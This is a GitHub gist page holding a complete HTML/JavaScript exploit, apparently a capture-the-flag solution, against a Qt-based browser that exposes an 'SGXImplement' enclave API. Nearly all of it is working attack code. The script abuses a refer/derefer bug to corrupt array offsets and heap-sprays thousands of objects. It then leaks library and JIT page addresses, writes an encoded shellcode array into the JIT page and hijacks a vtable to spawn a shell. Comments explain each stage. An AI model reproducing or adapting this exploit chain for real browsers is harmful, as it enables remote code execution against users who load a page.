Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created September 16, 2017 03:17
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/e79f275322581f05fcaeee0c3d17260f to your computer and use it in GitHub Desktop.
Save peternguyen93/e79f275322581f05fcaeee0c3d17260f to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<title>SGX PWN</title>
</head>
<body>
<h1>PWN!!!</h1>
<script type="text/javascript">
function print(text)
{
document.write(text + "<br />");
}
function pwn()
{
var libqtcore = 0;
var jit_page = 0;
var target_idx = -1;
var write_idx = -1;
var value_vector = 0;
var code_refer_stack = 0;
var leak_idx = -1;
var read_idx = -1;
var shellcode = [1389506888, 1932472168, 1647274088, 1497460329, 3242809409, 156049632, 1414545864, 1124952159, 1213734944, 538976309, 1582583840, 2202556759, 3948021441, 478889989, 4142449444, 1224736767, 1393476483, 1582584150, 257440618, 1935761925, 1663901800, 1229201952, 1095520339, 809123161, 1869506336, 1663919469, 1969450081, 1869898092, 3875442];
var f1 = false,f2 = false;
SGXImplement.CreateEnclave("hello","tsu_nub");
var encl1 = SGXImplement.GetEnclave("hello","tsu_nub");
var cc = [1,1,1,1,1];
var cc2 = [0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef];
// name , tp, var (array only number) , passwd, id
// tp = 0 (normal SGX code)
// tp = 1 (refer SGX code)
var sgx_code_arry = [];
var encl1_sgx = encl1.createSGXCode("encl_code",0,cc,0x41414141,0x0000ffff00000001);
var sgx_refer_code = encl1.createSGXCode("encl0_code",1,cc2,0x41414142,1338);
// overwrite sgx_refer_code->offset = 0
encl1.refer("encl_code","encl0_code",-1); // set data_refer_idx = -1 still valid
// struct QArrayData
// {
// QtPrivate::RefCount ref;
// int size;
// unsigned __int32 alloc : 31;
// unsigned __int32 capacityReserved : 1;
// qptrdiff offset;
// };
// trigger use after try cache bug to overwrite QArrayData->offset = 0
// QArrayData now point to beginning of struct.
encl1.derefer("encl_code","encl0_code");
encl1.refer("encl_code","encl0_code",0); // encl1->refer_vector->size = 0xffff
var target = [];
var leak_target = [];
for(var i = 0; i < 8192; i++){
var t = 0xcafe0000 + i;
var t2 = 0xbafe0000 + i;
var pad = encl1.createSGXCode("pwnxxxx_" + i.toString(16),0,cc2,t,123123);
var leak = encl1.createSGXCode("leakxxxx_" + i.toString(16),1,cc2,t2,123123);
target.push(pad);
leak_target.push(leak);
// print(leak);
}
// leak memory
// find heap address of leaked leakxxxx_k->ref_code_data
// and then calculate distance between that pointer and jit page
// to write shellcode to JIT page.
for(var i = 0; i < 0x8000; i++){
var v = sgx_refer_code.getrefer(i);
var tmp = (v >>> 16);
// print(v.toString(16));
if(tmp == 0xcafe && !f1){
libqtcore = sgx_refer_code.getrefer(i + 2) - 0x3593e0;
value_vector = sgx_refer_code.getrefer(i + 1);
jit_page = libqtcore - 0x708e3000;
target_idx = v - 0xcafe0000;
write_idx = i;
print("! Found value : 0x" + v.toString(16));
print("- Target idx : " + target_idx);
print("- libqtcore : 0x" + libqtcore.toString(16));
print("- JIT Page : 0x" + jit_page.toString(16));
print("- value_vector: 0x" + value_vector.toString(16));
f1 = true;
}
if(tmp == 0xbafe && !f2){
code_refer_stack = sgx_refer_code.getrefer(i + 3);
leak_idx = v - 0xbafe0000;
read_idx = i;
print("! Found value : 0x" + v.toString(16));
print("- leak_target at:" + leak_idx);
print("- code_refer_stack: 0x" + code_refer_stack.toString(16));
f2 = true;
}
if(f1 && f2){
print("Finding need information is done.");
break;
}
}
if(libqtcore && code_refer_stack){
// corrupt target SGX_Code
// overwrite leakxxxx_->refer_code_data->size = 0xffff
var ref_name = "leakxxxx_" + leak_idx.toString();
encl1.refer("encl_code",ref_name,-1);
encl1.derefer("encl_code",ref_name);
encl1.refer("encl_code",ref_name,0);
var distance = value_vector - code_refer_stack;
var offset = jit_page - value_vector;
// gain write permission in value vector which allows us
// write 4 bytes to JIT page.
// write leakxxxx_->refer_code_data->offset = pwnxxxx_->value_vector->offset
encl1.createSGXCode("distance_1",0,cc,0x41414141,distance);
encl1.refer("distance_1",ref_name,2);
for(var i = 0; i < shellcode.length; i++){
var name = "offset" + i.toString();
// write pwnxxxx_->value_vector->offset
encl1.createSGXCode("name",0,cc,0x41414141,offset + i*4);
encl1.refer("name",ref_name,2);
// write shellcode to jit page
target[target_idx].insert(0,shellcode[i]);
}
// reset offset value pwnxxxx_->value_vector->offset
encl1.createSGXCode("name",0,cc,0x41414141,0x18);
encl1.refer("name",ref_name,2);
// create fake vtable
target[target_idx].insert(0,jit_page);
target[target_idx].insert(1,jit_page);
target[target_idx].insert(2,jit_page);
// overwrite pwnxxxx_->vtable
encl1.createSGXCode("pwnxx_vtable",0,cc,0x41414141,value_vector + 0x18);
encl1.refer("pwnxx_vtable","encl0_code",write_idx - 4);
target[target_idx].emulate(); // trigger shell
}
print("Done.");
}
pwn();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment